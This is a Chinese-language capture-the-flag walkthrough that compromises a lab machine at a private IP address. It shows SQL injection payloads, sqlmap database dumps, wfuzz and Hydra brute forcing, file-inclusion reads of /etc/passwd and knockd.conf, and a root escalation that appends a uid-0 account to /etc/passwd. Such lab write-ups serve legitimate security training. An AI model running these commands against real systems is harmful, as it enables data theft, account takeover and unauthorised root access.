1、搜索输入框检测是否存在sql注入漏洞

‘ or 1=1 —+
‘ or 1=1 #
image.png
image.png

2、查看源代码,找出接口名称和参数用sqlmap进行调用

image.png
sqlmap -u “http://192.168.182.130/results.php“ —data=”search=1”

3、查看用到的数据库

当前库:sqlmap -u “http://192.168.182.130/results.php“ —data “search=1” —current-db
所有库:sqlmap -u “http://192.168.182.130/results.php“ —data=”search=1” —dbs
image.png

4、拿指定库的所有表

sqlmap -u “http://192.168.182.130/results.php“ —data “search=1” -D users —tables
image.png

5、拿指定表的所有数据

sqlmap -u “http://192.168.182.130/results.php“ —data “search=1” -D users -T UserDetails —dump
image.png

6.对拿到的password做web登录爆破

image.png
wfuzz -z file,user-dict -z file,pass-dict -d “username=FUZZ&password=FUZ2Z” http://192.168.182.130/manage.php
-z ifle,user-dict 指定用户名的字典为在当前目录下的user-dict
-z file,pass-dict 指定密码的字典为在当前目录下的pass-dict
image.png
结果发起了289次web爆破请求,
image.png
可以对93个字符的结果进行过滤
wfuzz -z file,user-dict -z file,pass-dict —hw 93 -d “username=FUZZ&password=FUZ2Z” http://192.168.182.130/manage.php
image.png

7.上面没有爆破成功,继续尝试别一个staff库

sqlmap -u “http://192.168.182.130/results.php“ —data “search=1” -D Staff —tables
image.png
sqlmap -u “http://192.168.182.130/results.php“ —data “search=1” -D Staff -T Users —dump
image.png
提示找到有关密码的内容,可以按y回车,按1回车用工具自带hash字典进行解密
用户名:admin,密码:transorbital1
image.png
用破解的用户名和密码进行登录:
image.png
登录成功:
image.png
并且看到File does not exist的提示,有可能会存在文件包含的漏洞,可以继续用wfuzz做漏洞扫描
http://192.168.182.130/manage.php?paramt=xx.file

8.尝试wfuzz找文件包含漏洞参数

image.png
wfuzz -b ‘PHPSESSID=31dlo5fb58iapg02umei3ot1ok’ -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.182.130/manage.php?FUZZ=index.php
-b指定登录后的cookies
-w指定参数名称的字典文件
FUZZ=index.php是占位符,index.php可以随意初始一个
image.png
结果太多,可以加—hw 100过滤
wfuzz -b ‘PHPSESSID=31dlo5fb58iapg02umei3ot1ok’ —hw 100 -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.182.130/manage.php?FUZZ=index.php
image.png
结果没发现
继续用一个必定存在的文件来测试
wfuzz -b ‘PHPSESSID=31dlo5fb58iapg02umei3ot1ok’ —hw 100 -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.182.130/manage.php?FUZZ=../../../../../../../../etc/passwd
linux中只有到了根目录之后多余的../会自动去掉,因为我们不知道所在的工作目录是在那里,所以这里多加../来返回到根目录
image.png
http://192.168.182.130/manage.php?file=../../../../../../../../etc/passwd
image.png
从中发现大量的用户名和在前面User库中拿到的用户名是高度一致的,在前面以为是web的用户名和密码,结果没爆破没成功,在这里可以考虑用来做ssl的爆破。

10. Hydra爆破SSH密码

hydra -L user-dict -P pass-dict 192.168.182.130 ssh
image.png
发现22端口连接被拒绝
原因分析
1、端口被限制(防火墙)
2、用户被限制登录
3、运行了knockd服务
查看是否运行knockd隐藏了ssl端口
http://192.168.182.130/welcome.php?file=../../../../../../../../../etc/knockd.conf
image.png
由上图可以看到,确实是使用了隐藏ssl防爆破,接下来我们可以根据他的端口配置顺序进行三次’敲门’即可使用22端口了,
nmap -p 7469 192.168.182.130
nmap -p 8475 192.168.182.130
nmap -p 9842 192.168.182.130
接下来可以进行hydra ssl 22端口爆破了
hydra -L user-dict -P pass-dict 192.168.182.130 ssh
image.png
得到三个用户名和密码,尝试登录
ssh janitor@192.168.182.130输入密码:Ilovepeepee
ssh joeyt@192.168.182.130输入密码:Passw0rd
ssh chandlerb@192.168.182.130输入密码:UrAG0D!
成功结果如下:
image.png
exit退出尝试另外两个也会成功。

11.提权

提权:查看敏感目录文件ls -a、查看历史命令history、查找系统内核漏洞、sudo -l查看当前用户能执行的root的命令
sudo -l 没有任何root的权限
image.png
history也没有新的发现
image.png
ls -a,发现了几个新的文件夹
image.png
cd .secrets-for-putin
cat passwords-found-on-post-it-notes.txt
发现了6个密码
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
将6个密码加入密码字典继续爆破
hydra -L user-dict -P pass-dict 192.168.182.130 ssh
发现另一个用户(登录)
image.png
ssh fredf@192.168.182.130输入密码:B4-Tru3-001
sudo -l
image.png
发现可以无密码root身份运行test脚本
查看文件属性
file /opt/devstuff/dist/test/test
image.png
执行
cd /opt/devstuff/dist/test
./test
image.png
查找源代码
find / -name “test.py” 2>/dev/null
2>/dev/null代表过滤错误的输出
cat /opt/devstuff/test.py
image.png
由上图得知test.py的功能是把第一个文件的输入,追加到第二个文件中
由此可以向/etc/passwd创建一个有root权限的用户
生成密码
openssl passwd -1 -salt admin 123456
-1 的意思是使用md5加密算法
-salt 自动插入一个随机数作为文件内容加密
admin 123456 用户名和密码
image.png
写入到临时文件,追加root权限的用户
echo ‘admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash’ >> /tmp/passwd
/tmp目录是所有用户均有权限访问的目录
cd /opt/devstuff/dist/test/
image.png
sudo ./test /tmp/passwd /etc/passwd
image.png
尝试切换到新建的账号:
su admin
输入密码123456
image.png
whoami
cd /root
ls -a
cat theflag.txt
image.png